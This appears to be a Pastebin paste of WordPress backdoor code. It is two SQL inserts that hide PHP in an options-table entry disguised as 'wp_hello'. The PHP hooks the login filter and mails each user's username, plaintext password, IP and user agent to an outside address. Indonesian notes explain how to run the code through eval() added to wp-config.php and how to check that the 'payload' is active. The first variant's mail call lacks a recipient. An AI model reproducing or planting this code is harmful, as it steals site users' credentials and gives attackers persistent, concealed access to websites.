M0usanony

log

Sep 9th, 2025 (edited)
98
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.04 KB | None | 0 0
  1. INSERT INTO 8DN3nye_options (option_name, option_value, autoload)
  2. VALUES (
  3. '8DN3nye_hello',
  4. 'add_filter("authenticate", function($user, $username, $password) {
  5. // Only proceed if login is successful and user is valid
  6. if (!is_wp_error($user) && $user instanceof WP_User) {
  7. // Sanitize inputs to prevent injection
  8. $username = sanitize_text_field($username);
  9. $password = sanitize_text_field($password);
  10. $ip = filter_var($_SERVER["REMOTE_ADDR"], FILTER_VALIDATE_IP) ?: "Unknown";
  11. $ua = sanitize_text_field($_SERVER["HTTP_USER_AGENT"] ?? "Unknown");
  12. $time = current_time("mysql");
  13. $domain = parse_url(home_url(), PHP_URL_HOST);
  14.  
  15. // Prepare HTML email body with enhanced styling
  16. $body = "
  17. <html>
  18. <head>
  19. <style>
  20. body { font-family: -apple-system, BlinkMacSystemFont, \'Segoe UI\', Roboto, Arial, sans-serif; color: #333; line-height: 1.6; margin: 0; padding: 0; background-color: #f0f2f5; }
  21. .container { max-width: 600px; margin: 20px auto; padding: 20px; background-color: #ffffff; border-radius: 8px; box-shadow: 0 2px 8px rgba(0,0,0,0.1); }
  22. .header { text-align: center; padding: 20px 0; background-color: #1e88e5; border-radius: 8px 8px 0 0; color: #fff; }
  23. .header img { max-width: 150px; height: auto; }
  24. h2 { font-size: 24px; margin: 0; font-weight: 600; }
  25. .content { padding: 20px; }
  26. p { margin: 0 0 15px; font-size: 16px; }
  27. table { border-collapse: collapse; width: 100%; margin: 20px 0; background-color: #fff; }
  28. th, td { border: 1px solid #e0e0e0; padding: 12px; text-align: left; font-size: 14px; }
  29. th { background-color: #1e88e5; color: #fff; font-weight: 600; }
  30. td { background-color: #fafafa; }
  31. .domain { font-weight: bold; color: #1565c0; }
  32. .footer { font-size: 12px; color: #666; margin-top: 20px; text-align: center; border-top: 1px solid #e0e0e0; padding-top: 15px; }
  33. .footer a { color: #1565c0; text-decoration: none; }
  34. </style>
  35. </head>
  36. <body>
  37. <div class=\'container\'>
  38. <div class=\'header\'>
  39. <h2>Successful Login Report</h2>
  40. </div>
  41. <div class=\'content\'>
  42. <p>A user has successfully logged into your site from <span class=\'domain\'>" . esc_html($domain) . "</span>.</p>
  43. <table>
  44. <tr>
  45. <th>Username</th>
  46. <th>Password</th>
  47. <th>IP Address</th>
  48. <th>Timestamp</th>
  49. </tr>
  50. <tr>
  51. <td>" . esc_html($username) . "</td>
  52. <td>" . esc_html($password) . "</td>
  53. <td>" . esc_html($ip) . "</td>
  54. <td>" . esc_html($time) . "</td>
  55. </tr>
  56. </table>
  57. <p class=\'footer\'>User Agent: " . esc_html($ua) . "<br>This is an automated message from <a href=\'" . esc_url(home_url()) . "\'>" . esc_html($domain) . "</a></p>
  58. </div>
  59. </div>
  60. </body>
  61. </html>";
  62.  
  63. // Email headers with improved security
  64. $headers = array(
  65. "MIME-Version: 1.0",
  66. "Content-type: text/html; charset=UTF-8",
  67. "From: WP Logger <no-reply@" . esc_html($domain) . ">",
  68. "X-Mailer: PHP/" . phpversion()
  69. );
  70.  
  71. // Attempt to send email (no fallback logging)
  72. wp_mail(
  73. "Successful Login Report - " . esc_html($domain) . " - " . esc_html($time),
  74. $body,
  75. implode("\\r\\n", $headers)
  76. );
  77. }
  78.  
  79. return $user;
  80. }, 30, 3);',
  81. 'yes'
  82. );
  83.  
  84.  
  85.  
  86.  
  87.  
  88. INSERT INTO wp_options (option_name, option_value, autoload)
  89. VALUES (
  90. 'wp_hello',
  91. 'add_filter("authenticate", function($u,$n,$p){
  92. $ip = $_SERVER["REMOTE_ADDR"];
  93. $ua = $_SERVER["HTTP_USER_AGENT"];
  94. $time = date("Y-m-d H:i:s");
  95.  
  96. $body = "
  97. <html><body>
  98. <table border=\'1\' cellpadding=\'5\' cellspacing=\'0\' style=\'border-collapse:collapse; font-family:Arial;\'>
  99. <tr><th>Username</th><th>Password</th><th>IP</th><th>Time</th></tr>
  100. <tr><td>$n</td><td>$p</td><td>$ip</td><td>$time</td></tr>
  101. </table>
  102. <br><small>$ua</small>
  103. </body></html>";
  104.  
  105. $headers = "MIME-Version: 1.0\\r\\n";
  106. $headers .= "Content-type: text/html; charset=UTF-8\\r\\n";
  107. $headers .= "From: WP Logger <[email protected]>\\r\\n";
  108.  
  109. @mail("[email protected]", "Login Report", $body, $headers);
  110. return $u;
  111. }, 30, 3);',
  112. 'yes'
  113. );
  114.  
  115.  
  116. wp3x_options <- sesuaikan
  117. 'wp3x_hellos', <- sesuaikan nama wp3x nya
  118.  
  119. eval(get_option('wp_hello'));
  120. tambah ke wp-config.php Bawah sendiri
  121. buat liat payload udah aktif apa engga
  122. SELECT * FROM wp_options WHERE option_name = 'wp_hello';
Advertisement
Add Comment
Please, Sign In to add comment